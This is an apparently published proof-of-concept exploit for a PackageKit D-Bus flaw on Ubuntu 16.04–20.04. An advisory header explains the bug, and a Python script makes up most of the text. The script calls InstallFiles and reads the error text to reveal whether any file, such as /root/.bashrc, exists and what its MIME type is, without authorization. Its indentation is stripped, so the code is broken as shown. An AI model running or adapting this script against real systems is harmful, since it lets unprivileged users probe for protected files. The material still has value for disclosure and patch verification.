PackageKit File Existence Disclosure

`# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1  
# Date: 2020-10-27  
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)  
# Vendor Homepage: https://www.freedesktop.org/software/PackageKit/  
# Software Link: https://www.freedesktop.org/software/PackageKit/  
# Version: <= 1.1.1+bzr982-0ubuntu32.1  
# Tested on: Ubuntu 20.04  
#  
#!/usr/bin/env python3  
#  
# Ubuntu 16.04 - 20.04   
# PackageKit <= 1.1.13-2ubuntu1  
# Sensitive Information Disclosure  
#   
#  
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html  
#  
# The InstallFiles, GetFilesLocal and GetDetailsLocal methods   
# of the d-bus interface to PackageKit accesses given files   
# before checking for authorization. This allows non-privileged   
# users to learn the MIME type of any file on the system.  
#   
# Example in attached Python script:  
#   
# $ python3 test_file_exists_pk.py /root/.bashrc  
# File exists and is of MIME type: 'text/plain'  
#   
# $ python3 test_file_exists_pk.py /root/.bashrca  
# File does not exist  
#  
#  
import dbus  
import os  
import sys  
import re  
  
if len(sys.argv) != 2:  
print("Checks if file exists and returns MIME type")  
print("Usage: %s <file>")  
sys.exit(0)  
  
FILE_TO_CHECK = sys.argv[1]  
  
bus = dbus.SystemBus()  
apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")  
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")   
  
trans = apt_dbus_interface.CreateTransaction()  
  
apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)  
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")  
  
try:  
apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK])  
# ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK])  
# ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK])  
except dbus.exceptions.DBusException as e:  
if "No such file" in str(e):  
print("File does not exist")  
elif "MimeTypeNotSupported" in str(e):  
result = re.search('MIME type (.*) not supported', str(e))  
print("File exists and is of MIME type: " + result.group(1))  
  
`